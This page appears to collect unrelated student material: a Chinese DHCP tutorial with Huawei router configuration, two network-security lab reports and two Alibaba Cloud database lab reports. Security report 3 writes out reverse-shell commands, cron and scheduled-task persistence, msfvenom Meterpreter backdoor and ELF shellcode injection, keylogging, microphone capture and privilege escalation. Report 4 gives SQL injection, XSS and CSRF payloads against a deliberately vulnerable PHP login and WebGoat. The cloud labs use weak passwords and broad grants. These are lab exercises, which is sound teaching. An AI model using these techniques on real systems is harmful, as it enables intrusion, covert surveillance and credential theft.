# 计算机网络核心协议｜DHCP 
## 开篇前言
在日常局域网、校园网、企业办公网、家用路由器网络中，手机、电脑、平板接入网络后**无需手动填写IP、子网掩码、网关、DNS**，就能直接上网，背后支撑这一切的核心协议就是 **DHCP（动态主机配置协议）**。

很多网络初学者只会简单配置DHCP，却不懂两种地址池本质区别、静态绑定真实工作逻辑，极易在考试、实验、工程运维中踩坑。本文以网络专业教授视角，从零拆解DHCP**基础概念、端口与报文、四次握手流程、租期机制、两种地址池原理、静态绑定深层规则等**，内容严谨准确，适配软考、华为认证、校园实验、工程落地全场景。

---



## 一、DHCP 基础核心定义
### 1. 协议全称与层级
DHCP：Dynamic Host Configuration Protocol，**动态主机配置协议**。
- 工作层级：应用层协议
- 传输层依托：**UDP 协议**
- 端口号：
  - 客户端：**68 端口**
  - 服务器：**67 端口**

### 2. 核心作用
自动为局域网终端分配完整网络参数，包含：
IP地址、子网掩码、默认网关、DNS服务器地址、IP地址租期、WINS地址、PXE启动参数等。

### 3. 为什么必须用DHCP？
1. 省去人工手动配置每台终端IP，大规模网络运维效率极高；
2. 自动管理IP地址分配、续租、回收，**杜绝人为IP配置冲突**；
3. 支持IP与MAC静态绑定，为服务器、固定办公设备长期保留固定IP；
4. 支持跨网段DHCP中继，实现大型园区网集中分配IP；
5. 终端接入即插即用，适配手机、笔记本、IoT设备海量接入场景。

### 4. 角色架构
- DHCP Client：终端设备（电脑、手机、打印机）
- DHCP Server：路由器、三层交换机、专用服务器（负责分配IP）
- DHCP Relay：DHCP中继，用于跨VLAN、跨网段转发DHCP广播报文

---

## 二、DHCP 核心工作流程：DORA 四次握手（抓包必懂）
终端首次接入网络、重新获取IP时，必须经过**标准四步握手**，行业简称 **DORA 流程**，也是Wireshark抓包最核心的报文序列。

### 1. 第一步：Discover 发现报文
- 发起方：DHCP 客户端
- 源IP：`0.0.0.0`（终端暂无合法IP）
- 目的IP：`255.255.255.255`（本地有限广播）
- 核心作用：
全网广播寻找局域网内所有DHCP服务器，报文中携带**自身MAC地址**，用于服务器识别终端身份。

### 2. 第二步：Offer 提供报文
- 发起方：DHCP 服务器
- 通信方式：广播/单播均可
- 核心作用：
服务器收到Discover后，从地址池中**预留一个可用IP**，携带子网掩码、网关、DNS、租期等参数回复终端；
若网络中有多台DHCP服务器，都会发送Offer报文。

### 3. 第三步：Request 请求报文
- 发起方：DHCP 客户端
- 源IP：`0.0.0.0`
- 目的IP：`255.255.255.255` 广播
- 核心作用：
1. 终端**选择最先收到的Offer报文**对应的服务器；
2. 全网广播告知所有服务器：我已选定某台服务器及某个IP；
3. 通知其他未被选中的服务器，释放预留的IP地址，避免浪费。

### 4. 第四步：ACK 确认报文
- 发起方：DHCP 服务器
- 核心作用：
服务器校验IP未冲突、地址池可用后，下发**正式确认报文**，终端接收后立即生效所有网络参数，完成上网配置。

### 补充：两个高频辅助报文
1. **DHCP Release**
Windows执行 `ipconfig /release` 触发，终端主动向服务器**释放已租用的IP**，仅释放、**不会自动重新申请IP**。
2. **免费ARP**
终端拿到IP后主动广播ARP报文，检测局域网内是否存在同IP设备，**防止IP地址冲突**，属于终端自愈机制。

---

## 三、DHCP 租期与续租机制
DHCP分配的IP并非永久使用，带有**租期限制**，默认租期24小时，华为设备可自定义租期天数、小时、分钟。
1. 租期到达 **50%**：终端主动发起续租请求，若服务器响应，租期刷新；
2. 租期到达 **87.5%**：50%续租失败后，终端全网广播重新寻找DHCP服务器；
3. 租期耗尽仍无服务器响应：IP失效，终端无法正常上网。

续租机制保障了IP地址可循环回收利用，适合终端频繁上下线的网络场景。

---

## 四、华为设备两种DHCP地址池（核心重难点）
华为VRP系统支持两种DHCP地址池：**接口地址池、全局地址池**，二者配置逻辑、适用场景、绑定规则完全不同，是考试和实验必考核心。

### 1. 接口地址池
命令核心：`dhcp select interface`
#### 特点
1. 配置位置：**三层接口视图**（物理三层接口、VLANIF接口）；
2. 自动继承接口IP所在网段，**无需手动配置network、网关**；
3. 仅服务当前接口所在网段，**不支持DHCP中继跨网段**；
4. 配置极简，适合小型网络、单网段直连场景。

#### 关键底层规则
在接口地址池下配置：
```
dhcp server static-bind ip-address x.x.x.x mac-address xxxx-xxxx-xxxx
```
✅ **标准行为**：
- 不会锁定地址池、不会变成「仅静态绑定模式」；
- 仅作用：**将指定IP与指定MAC做预留绑定**，该IP专属此设备，不再随机分给其他终端；
- **静态绑定 + 动态分配混合共存**：绑定设备固定拿IP，PC2/PC3等普通终端照常从空闲IP中动态获取；
- 绑定的IP自动独占，无需手动配置 `excluded-ip-address` 排除。

这也是本次实验中：**PC4做了静态绑定，PC2、PC3仍能正常获取IP**的根本原因，不是模拟器bug、不是租约缓存，是华为设备原生标准机制。

### 2. 全局地址池
命令核心：`dhcp server ip-pool 池名`
#### 特点
1. 配置位置：**系统全局视图**；
2. 需手动配置网段、网关、DNS、排除IP、租期；
3. 全局统一管理，**支持多网段、多VLAN、DHCP中继跨网段**；
4. 适合中大型企业网、园区网，工程和华为认证推荐使用。

### 3. 两种地址池对比总结
| 对比项 | 接口地址池 | 全局地址池 |
|--------|------------|------------|
| 配置位置 | 接口视图 | 全局系统视图 |
| 网段配置 | 自动继承接口IP | 手动配置network网段 |
| 适用场景 | 单网段、小型直连网络 | 多VLAN、跨网段、企业大型网络 |
| DHCP中继 | 不支持 | 支持 |
| 静态绑定 | 接口下直接配置，混合共存 | 地址池内配置，混合共存 |
| 配置难度 | 简单极简 | 配置参数多，更灵活 |

---

## 五、Windows 终端 DHCP 操作命令（实验必用）
```cmd
# 释放当前已获取的IP租约，终端变回0.0.0.0
ipconfig /release

# 重新发起DHCP四次握手，申请新IP地址
ipconfig /renew

# 查看IP、子网掩码、网关、DNS、租期信息
ipconfig /all
```
### 高频易错点
只执行 `/release` **只会释放IP，不会自动重新申请**，终端一直无IP无法上网；必须搭配 `/renew` 才能触发完整DORA流程。

---

## 六、示例实验拓扑与需求
### 1. 拓扑结构

![DHCP.jpg](http://47.121.194.48/static/img/55d3a094c1c54861e426c7a270f4d01f.DHCP.webp)
- R1：华为AR系列路由器，作为DHCP服务器；
- SW1、SW2：二层交换机，仅做二层转发；
- 网段规划：
  - R1-GE0/0/0 → SW1 → PC1 ：`192.168.1.0/24`
  - R1-GE0/0/1 → SW2 → PC2、PC3、PC4 ：`192.168.2.0/24`
### 2. 实验需求
1. 所有PC通过DHCP自动获取IP、网关、DNS；
2. PC4 MAC：`5489-988F-3FA6`，**固定绑定 192.168.2.2**；
3. PC2、PC3 无绑定，正常动态获取空闲IP；
4. 全网终端可正常获取IP，无地址冲突。

---

## 七、华为完整配置命令
### 1. 路由器R1基础配置
```shell
<Huawei> system-view
[Huawei] sysname R1
# 全局必配：开启DHCP功能，所有DHCP配置前提
[R1] dhcp enable

# 创建全局地址池 pool1
dhcp server ip-pool pool1
 network 192.168.1.0 mask 255.255.255.0
 gateway-list 192.168.1.254
 dns-list 114.114.114.114
 lease day 3
 excluded-ip-address 192.168.1.250 192.168.1.254
quit
```

### 2. 配置 GE0/0/0 接口 192.168.1.0/24
```shell
[R1] interface GigabitEthernet 0/0/0
[R1-GE0/0/0] ip address 192.168.1.254 255.255.255.0
# 启用全局地址池
[R1-GE0/0/0] dhcp select global
[R1-GE0/0/0] quit
```

### 3. 配置 GE0/0/1 接口（含静态IP-MAC绑定）
```shell
[R1] interface GigabitEthernet 0/0/1
[R1-GE0/0/1] ip address 192.168.2.1 255.255.255.0
# 启用接口地址池
[R1-GE0/0/1] dhcp select interface

# 静态绑定：PC4 固定IP地址
[R1-GE0/0/1] dhcp server static-bind ip-address 192.168.2.2 mac-address 5489-988F-3FA6

# 可选：排除网关、服务器等不允许分配的IP
[R1-GE0/0/1] dhcp server excluded-ip-address 192.168.2.250 192.168.2.254
[R1-GE0/0/1] quit
```

### 4. 交换机配置说明
二层交换机默认所有接口属于VLAN1，**无需任何额外配置**，即可正常转发DHCP广播报文；
若划分多VLAN，只需将接口配置为access模式、加入对应VLAN即可。

---

## 八、Wireshark 抓包深度分析
### 1. 抓包操作
1. 右键交换机连接PC的网口，开启抓包；
2. 过滤表达式：`dhcp || bootp`，只筛选DHCP相关报文；
3. 正常报文顺序：
`Release → Discover → Offer → Request → ACK`

### 2. 报文解读
1. 抓到完整DORA四步：说明DHCP服务器配置正常、终端正常获取IP；
2. 附带STP报文：交换机生成树协议，防止环路，**不影响DHCP**；
3. 附带免费ARP：终端IP冲突检测，属于正常行为；
4. 静态绑定生效时，Offer报文直接下发绑定固定IP，不会随机分配其他地址。

---

## 九、常见故障与专业排错
1. **终端只release不renew**
现象：IP一直为0.0.0.0
解决：执行 `ipconfig /renew` 重新发起四次握手。

2. **静态绑定后其他PC仍能获取IP**
正常现象：接口地址池支持静态+动态混合共存，并非故障。

3. **抓包只有Discover无Offer**
排查：全局是否 `dhcp enable`、接口是否启用地址池、接口IP网段是否规划正确。

4. **MAC地址绑定报错**
原因：华为仅支持 `xxxx-xxxx-xxxx` 格式，不能用冒号分隔；绑定IP已被占用需先重置地址池。

5. **IP地址冲突**
排查：地址池排除地址配置不合理、手动静态IP与DHCP地址池网段重叠。

---

DHCP

# 网络安全实验报告4

## 一、实验目的

1. 掌握Web前端开发基础，熟练运用HTML表单设计与JavaScript进行DOM操作及输入验证。
2. 熟悉Web后端数据库环境搭建，精通MySQL的安装、建库建表及用户权限配置。
3. 理解并掌握Web应用安全机制，能够编写PHP脚本连接数据库实现用户身份认证。
4. 深入理解SQL注入、XSS跨站脚本攻击及CSRF跨站请求伪造的攻击原理与防御思路。
5. 通过DVWA或WebGoat平台进行实战演练，提升对常见Web漏洞的挖掘与利用能力。



## 二、实验内容

1. **Web前端环境搭建**：在Kali Linux中安装并启动Apache服务，编写包含用户名和密码输入框的HTML登录表单，理解GET与POST方法的区别。
2. **前端脚本逻辑编写**：利用JavaScript实现对用户输入的非空校验与密码逻辑判断，并在登录成功后回显欢迎信息，同时尝试HTML与JavaScript注入攻击。
3. **后端数据库配置**：安装并启动MySQL服务，创建指定数据库与数据表，插入测试用户数据，并设置数据库用户的访问权限。
4. **后端认证逻辑实现**：编写PHP网页连接MySQL数据库，通过接收前端POST数据进行SQL查询，实现基于数据库的用户登录验证功能。
5. **安全漏洞实战测试**：在自建系统及WebGoat平台上，分别实施SQL注入万能密码攻击、XSS脚本弹窗攻击及CSRF伪造请求攻击，验证漏洞有效性。

## 三、实验步骤

**步骤1：Web前端环境搭建与表单制作。**
打开Kali终端，输入命令`systemctl start apache2`启动Apache服务。使用`vi /var/www/html/2427_test.html`创建文件，编写HTML代码，设置表单方法为POST，添加账号与密码输入框，ID分别为username和password，并设置一个onclick事件绑定login()函数的登录按钮。在浏览器访问`http://127.0.0.1/2427_test.html`验证页面显示正常。

**步骤2：JavaScript验证与注入测试。**
在HTML文件头部添加`<script>`标签，编写login()函数：获取输入值，若为空则弹窗提示；若密码不等于"20222427"则报错；否则使用`document.body.innerHTML`回显"Welcome"信息。在账号框输入`<h1>xwt</h1>`测试HTML注入，输入`<script>alert("xwt")</script>`测试JS注入。若后者无法执行，修改代码为`document.write()`，确认成功弹出警告框。

**步骤3：MySQL数据库的安装与配置。**
在终端输入`systemctl start mysql`启动数据库。执行`mysql -u root -p`登录，依次输入`create database 20222427xwt;`创建数据库，`use 20222427xwt;`切换数据库。执行`create table user (username VARCHAR(30),password VARCHAR(20));`建表，使用`insert into user values('xwt','20222427');`插入数据。最后执行`GRANT ALL PRIVILEGES ON 20222427xwt.* TO 'xwt'@'%';`并`FLUSH PRIVILEGES;`完成授权。

**步骤4：编写PHP后端连接数据库。**
使用`vi /var/www/html/2427.php`创建PHP文件。配置`$servername`为localhost，`$dbname`为20222427xwt。使用`new mysqli`建立连接，检查`connect_error`。获取POST参数，构建SQL语句`SELECT * FROM user WHERE username = '$username' AND password = '$password'`。执行查询，若`num_rows > 0`则输出“登陆成功”，否则输出错误。修改HTML表单action指向2427.php，输入用户名xwt和密码20222427验证认证成功。

**步骤5：SQL注入与XSS攻击测试。**
在自建登录框账号处输入`'or 1=1 #`，密码随意，成功登录显示欢迎信息，验证了SQL注入漏洞。在账号处输入`<script>alert("xss")</script>`，成功触发弹窗，验证了XSS漏洞。

**步骤6：WebGoat平台综合攻击。**
下载webgoat.jar并传入Kali，执行`java -jar webgoat-2023.8.jar`启动。访问`http://localhost:8080/WebGoat/login`。
*   **SQL注入**：进入SQL injection (Intro) -> 9，在last_name字段输入`Smith' or '1'='1`，构造永真式获取所有用户数据。
*   **XSS攻击**：进入Cross Site Scripting -> 7，输入`<script>alert("20222427XSS")</script>`，成功弹出提示框。
*   **CSRF攻击**：进入Cross-Site Request Forgeries -> 3，创建HTML文件CSRF_2427.html，编写表单action指向`http://127.0.0.1:8080/WebGoat/csrf/basic-get-flag`。访问该HTML并点击提交，获取flag值35605，输入平台验证通过。

## 四、实验分析

**实验结果**
本次实验成功搭建了包含前端HTML/JS、后端PHP及MySQL数据库的完整Web应用系统。前端实现了输入验证与DOM操作，能够回显欢迎信息并响应HTML及JavaScript注入测试。后端成功连接数据库，依据查询结果实现了正确的用户身份判断。在漏洞测试环节，利用`'or 1=1 #`成功绕过自建系统的登录验证；在WebGoat平台上，通过构造特定的SQL语句、XSS脚本及伪造CSRF HTML请求，均触发了预期的攻击效果，成功获取了系统数据与Flag值，验证了各项漏洞的存在。

**个人收获**
通过本次实验，我不仅掌握了Web开发的全栈基础流程，更深刻理解了常见Web安全漏洞的底层原理。对于SQL注入，我明白了通过构造特殊闭合符号改变SQL逻辑的危险性，认识到了参数化查询的重要性。对于XSS，我清楚了它是如何利用浏览器对恶意脚本的信任执行攻击。对于CSRF，我理解了用户身份被隐式劫持的过程。这些实战经验让我意识到，在编写代码时必须严格过滤用户输入，对数据进行转义处理，从而构建更加安全的Web应用。

网络安全实验报告4

# 网络安全实验报告3

## 一、实验目的

1.  深入理解后门程序的概念及其在操作系统中的潜伏机制，明确后门与木马的异同。
2.  学习掌握Netcat和Socat等底层网络工具的使用，实现跨平台的主机Shell连接与控制。
3.  熟悉Metasploit Framework（MSF）平台，利用其生成可执行后门文件及Shellcode。
4.  掌握Linux下Cron服务和Windows下任务计划程序的配置方法，实现后门的持久化自启动。
5.  学习后门的高级功能应用，包括获取敏感信息（音频、摄像头、击键记录）及系统提权技术。



## 二、实验内容

1.  **Netcat与Cron后门利用**：利用Netcat工具在Windows与Linux之间建立双向Shell连接，并通过修改Linux的Cron配置文件，实现每分钟自动执行写入文件的任务。
2.  **Socat与任务计划配置**：使用Socat工具获取主机操作Shell，并通过Windows的schtasks命令创建任务计划，使特定程序（如Cygwin）能够周期性自动运行。
3.  **MSF后门生成与控制**：使用MSFvenom生成Windows平台的可执行后门文件，利用Socat将其传输至目标主机并运行，配合multi/handler模块建立反向TCP连接获取Meterpreter Shell。
4.  **后门高级功能与提权**：利用Meterpreter扩展功能，实现对目标主机音频的录制、摄像头截图、键盘输入记录及屏幕截取，并尝试使用getsystem命令进行权限提升。
5.  **Shellcode注入与反弹**：使用MSF生成Linux下的Shellcode，并将其注入到指定的可执行文件中，运行被注入的文件以建立反弹Shell连接。

## 三、实验步骤

**步骤1：实验环境准备**
配置Kali Linux（32位）与Windows 10（64位）两台虚拟机，查询IP分别为192.168.206.128和192.168.206.129。在Windows上关闭防火墙和实时防护，并安装好netcat与socat工具，确保两台主机可以互相Ping通。

**步骤2：使用Netcat获取Shell并配置Cron**
在Windows端运行命令`.\nc64.exe -l -p 2416`监听端口，在Linux端运行`ncat 192.168.206.129 2416 -e /bin/sh`连接，成功获取Linux Shell。随后在获取的Shell中输入命令`echo "* * * * * echo \"2023112113text\" > /home/kali/2023112113.txt" >/var/spool/cron/crontabs/root`，将周期性任务写入root文件。使用`crontab -l`查看配置，并重启crontab服务，验证每分钟自动生成文本文件成功。

**步骤3：使用Socat获取Shell并配置任务计划**
在Linux端运行`nc -l -p 2416`监听，在Windows端运行`socat.exe tcp-connect:192.168.206.129:2416 exec:cmd.exe,pty,stderr`反向连接Linux。成功获取Shell后，使用`schtasks /create /tn "2023112113test" /tr "程序路径" /sc minute`创建名为“2023112113test”的任务计划，设置每分钟运行一次。通过观察程序启动情况，验证任务计划执行成功。

**步骤4：使用MSF生成后门并获取Shell**
在Kali终端使用`msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -f exe > 2023112113_backdoor.exe`生成后门文件。由于ncat传输存在问题，改用socat在Windows端监听接收文件。文件传输完成后，在Kali启动MSF控制台，配置`use exploit/multi/handler`，设置payload为`windows/meterpreter/reverse_tcp`，LHOST和LPORT分别为本机IP和2416端口。运行`exploit`开始监听，在Windows端运行后门文件，成功建立Meterpreter会话。

**步骤5：利用Meterpreter获取信息与提权**
在Meterpreter会话中，输入`record_mic`获取音频内容；输入`webcam_snap`尝试获取摄像头（因权限问题失败）；输入`keyscan_start`和`keyscan_dump`记录并读取Windows端的键盘输入；输入`screenshot`获取屏幕截图；输入`getsystem`尝试提权，最终成功获取SYSTEM权限，完成信息收集与提权操作。

**步骤6：MSF生成Shellcode并注入**
将之前的pwn1文件重命名为“2023112113pwnb”。使用命令`msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.206.128 LPORT=2416 -x /home/kali/Desktop/2023112113pwnb -f elf > 2023112113pwnb_injected`将Shellcode注入文件。开启MSF监听Linux反弹连接，在另一个终端运行注入后的文件，观察到MSF成功连接，输入`ls`和`ifconfig`验证可以执行命令并查看主机信息，实验完成。

## 四、实验分析

**实验结果**
本次实验成功搭建了Kali与Windows的攻防环境。利用Netcat和Socat均实现了跨平台的Shell获取，验证了底层网络工具的强大功能。通过Cron和Windows任务计划程序，成功实现了后门程序的持久化自启动。使用MSF生成的后门文件顺利绕过防护建立连接，并成功获取了目标主机的音频、键盘记录和屏幕截图等敏感数据，同时通过getsystem命令完成了从普通权限到SYSTEM权限的提升。最后，Shellcode注入实验也成功建立了反弹Shell，所有预定目标均达成。

**个人收获**
通过本次实验，我深刻理解了后门技术的原理与危害，特别是持久化机制（如计划任务）在实际攻击中的应用。我熟练掌握了MSF框架中msfvenom和exploit/multi/handler的配合使用，体会到了自动化攻击工具的高效性。在实验过程中，遇到防火墙阻断、文件传输损坏（ncat问题）以及依赖库缺失（socat需cygwin）等问题，通过查阅资料和调试解决，极大地锻炼了我的排错能力和对网络底层传输细节的理解。这次实验不仅提升了技术技能，也让我更加意识到系统安全防护的重要性。

网络安全实验报告3

# 实验二 数据库迁移与Python程序连接

## 一、实验目的

1. 掌握将ECS自建MySQL数据库迁移至阿里云RDS的完整流程
2. 学习使用阿里云DTS数据传输服务实现数据库平滑迁移
3. 掌握迁移前的环境准备工作，包括MySQL安装配置、binlog开启、迁移账号创建等关键步骤
4. 掌握使用Python的PyMySQL库连接RDS数据库并进行数据读写操作
5. 理解数据库迁移的技术原理与应用程序对接云数据库的方法



## 二、实验内容

1. **源端环境搭建**：在ECS服务器（Ubuntu系统）上安装MySQL服务，完成安全初始化配置，创建migrate测试数据库及staff表并插入测试数据，开启binlog二进制日志并设置为ROW格式，创建迁移专用账号并授权

2. **DTS数据迁移**：使用阿里云DTS数据传输服务创建迁移任务，配置源库（ECS自建MySQL）和目标库（RDS实例）的连接信息，排查并解决ECS安全组、RDS白名单、MySQL监听地址等连通性问题，完成数据库迁移并验证数据完整性

3. **Python程序对接**：在ECS上搭建Python虚拟环境并安装PyMySQL库，编写Python程序连接RDS数据库，读取并显示迁移后的数据，验证迁移成功与应用程序对接的可用性

## 三、实验步骤

**步骤1-2：安装并启动MySQL服务**
通过SSH登录阿里云ECS服务器（Ubuntu系统），执行`sudo apt update`更新软件源，然后执行`sudo apt install mysql-server -y`安装MySQL服务。安装完成后，执行`sudo systemctl start mysql`启动服务，执行`sudo systemctl enable mysql`设置开机自启，使用`systemctl status mysql`验证服务处于active (running)状态。

**步骤3-5：安全配置与密码登录**
执行`sudo mysql_secure_installation`运行安全初始化脚本，按提示设置root密码、移除匿名用户、禁止远程root登录。登录MySQL执行`ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '123456'`配置密码认证方式，执行`FLUSH PRIVILEGES`刷新权限，使用`mysql -u root -p`验证密码登录功能正常。

**步骤6：创建测试数据**
登录MySQL后执行`CREATE DATABASE migrate`创建数据库，使用`USE migrate`切换数据库。执行`CREATE TABLE staff`语句创建包含id、name、age、sex四个字段的表，依次执行INSERT语句插入三条测试记录：(1,'joe','28','male')、(2,'Anny','23','female')、(3,'Bob','18','male')。

**步骤7-8：创建迁移账号与开启Binlog**
创建迁移专用账号：执行`CREATE USER 'migration'@'%' IDENTIFIED BY '123456'`和`GRANT ALL ON *.* TO 'migration'@'%'`。编辑`/etc/mysql/mysql.conf.d/mysql.cnf`文件，在[mysqld]部分添加server_id=2、log_bin=mysql_bin、binlog_format=row、binlog_row_image=full等配置。执行`sudo systemctl restart mysql`重启服务，使用`SHOW VARIABLES LIKE '%binlog_format%'`验证binlog格式为ROW。

**步骤9-11：配置DTS迁移任务**
登录阿里云控制台搜索"数据传输服务DTS"，点击"数据迁移"创建迁移任务。配置源库为ECS自建MySQL（填写ECS公网IP、端口3306、账号migration、密码123456），目标库为RDS实例（系统自动填入内网地址、账号user01及对应密码）。点击"测试连接"逐一排查问题：检查ECS安全组放通3306端口、将ECS公网IP加入RDS白名单、修改MySQL配置文件监听地址为0.0.0.0并重启服务。

**步骤12-16：执行迁移**
在左侧选择迁移对象migrate数据库及staff表，点击">"按钮添加到已选列表。保持高级配置默认，选择结构校验。执行预检查等待所有项通过，点击"购买并启动"正式开始迁移，等待任务状态显示为"已完成"。

**步骤17：验证迁移结果**
在本地Navicat中刷新RDS连接，查看数据库列表，成功看到迁移过来的migrate数据库和staff表，打开表查询数据，三条记录完整无误。

**步骤18-20：Python程序连接**
在ECS上执行`python3 -m venv myenv`创建虚拟环境，执行`source myenv/bin/activate`激活环境，执行`pip install pymysql`安装依赖库。编写rds.py程序，使用pymysql.connect()方法连接RDS数据库（填写RDS外网地址、端口3306、账号user01、密码、数据库名migrate）。执行`python rds.py`运行程序，终端成功输出三条staff表记录，验证迁移完整且程序对接成功。

## 四、实验分析

**实验结果**
实验成功完成从ECS自建MySQL到阿里云RDS的数据库迁移。在ECS端完成MySQL安装配置，创建migrate数据库及staff表并插入三条测试记录，开启binlog并设置为ROW格式，创建迁移专用账号migration。使用DTS配置迁移任务时，逐一排查并解决ECS安全组3306端口未放通、RDS白名单未添加ECS公网IP、MySQL监听地址未修改为0.0.0.0等连通性问题。迁移完成后在Navicat中验证数据完整无误，编写Python程序使用PyMySQL成功读取RDS中的数据并输出三条记录，验证了整个迁移链路的完整性和应用程序对接的可用性。

**个人收获**
通过本次实验，系统掌握了数据库迁移从源端准备、网络连通、任务配置到结果验证的完整生命周期。深入理解了binlog作为迁移技术基础的作用，ROW格式能够精确记录数据变化确保迁移准确性。在排查连通性问题时，体会到云架构的分层防御机制：ECS安全组控制实例级流量、RDS白名单控制数据库级访问、MySQL监听地址决定服务绑定接口，三者需协同配置才能建立端到端连通。掌握PyMySQL的使用方法后，认识到数据库迁移不仅是数据的物理移动，更要保证应用程序能够无缝切换到新的数据源，这为后续构建云原生应用积累了宝贵经验。

实验二_数据库迁移与Python连接

# 实验一 RDS实例创建与远程连接

## 一、实验目的

1. 掌握阿里云RDS关系型数据库服务的创建流程与基本配置方法
2. 学习通过白名单设置和账号权限管理，实现数据库访问控制
3. 掌握使用Navicat客户端远程连接云数据库的操作方法
4. 能够执行建表、增删改查等基本SQL操作
5. 理解云数据库的架构特点与安全机制



## 二、实验内容

1. **RDS实例配置**：在阿里云控制台创建RDS MySQL实例，通过curl命令获取本地公网IP地址并添加至白名单，创建数据库账号user01及mysql_test数据库，申请并获取外网访问地址

2. **远程连接建立**：使用Navicat工具新建MySQL连接，填写RDS外网地址、端口3306、用户名及密码，测试连接成功后保存配置

3. **数据库操作验证**：在mysql_test数据库中创建user表（含id、name、age、sex字段），依次执行插入三条测试数据、删除指定记录、更新字段值、查询显示所有记录等SQL操作，验证远程连接有效性与数据库基本功能

## 三、实验步骤

**步骤1：进入RDS控制台**
登录阿里云控制台，在顶部搜索栏输入"云数据库RDS"，点击进入RDS管理控制台。

**步骤2：查看实例列表**
在RDS控制台左侧导航栏点击"实例列表"，查看已创建的RDS实例信息，包括实例ID、地域、数据库引擎版本及运行状态。

**步骤3：设置白名单**
点击目标实例进入详情页，选择左侧菜单"数据安全性"→"白名单设置"。在Windows命令行执行`curl -4 ifconfig.me`获取本地公网IP地址，将该地址添加到RDS白名单中，允许本地设备远程访问数据库。

**步骤4：创建数据库账号**
在实例详情页点击"账号管理"→"创建账号"，创建账号名为user01的普通账号，设置密码为User01pass。

**步骤5：创建数据库并授权**
点击"数据库管理"→"创建数据库"，创建数据库名为mysql_test，授权账号选择user01，权限设置为读写（Read/Write）。

**步骤6：开启外网访问地址**
在实例详情页"数据库连接"区域，点击"申请外网地址"，系统自动分配外网访问域名，记录该地址用于后续连接。

**步骤7：Navicat远程连接**
打开本地Navicat工具，新建MySQL连接，依次填写连接名、RDS外网地址、端口3306、用户名user01及对应密码。点击"测试连接"，提示成功后保存连接配置。

**步骤8：执行数据库操作**
在Navicat中双击打开mysql_test数据库，新建查询窗口。首先执行CREATE TABLE语句创建user表，包含id、name、age、sex四个字段；执行INSERT语句插入三条测试数据；执行DELETE语句删除name为Buryce的记录；执行UPDATE语句将name为Lucas的记录age字段更新为21；最后执行SELECT语句查询并显示所有记录，验证操作成功。

## 四、实验分析

**实验结果**
实验成功完成阿里云RDS实例的创建与远程连接配置。通过配置白名单实现IP级别的访问控制，创建账号user01和数据库mysql_test并完成权限分配。使用Navicat成功建立远程连接后，创建user表并执行插入三条数据、删除Buryce记录、更新Lucas年龄为21等操作，最终查询结果显示两条记录且数据正确，验证了RDS实例事务处理的可靠性和CRUD操作的完整性。

**个人收获**
通过本次实验，深入理解了云数据库的安全架构设计。白名单机制在网络层实现访问控制，账号权限分离体现最小权限原则，两者共同构筑了数据库的安全防线。掌握了Navicat工具的使用方法，体会到云数据库相比传统本地数据库在安全性、可扩展性和运维便利性方面的显著优势，为后续开发云原生应用奠定了技术基础。

计算机网络核心协议｜DHCP

开篇前言

网络安全实验报告4

一、实验目的

网络安全实验报告3

一、实验目的

实验二 数据库迁移与Python程序连接

一、实验目的

实验一 RDS实例创建与远程连接

一、实验目的

实验二数据库迁移与Python程序连接